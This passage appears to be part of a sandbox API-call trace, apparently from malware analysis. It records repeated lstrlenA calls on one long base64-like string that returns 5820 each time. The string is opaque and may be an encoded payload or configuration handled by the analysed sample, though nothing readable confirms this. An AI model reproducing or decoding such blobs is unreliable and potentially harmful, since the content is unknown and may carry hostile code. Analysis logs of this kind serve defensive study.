aDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1p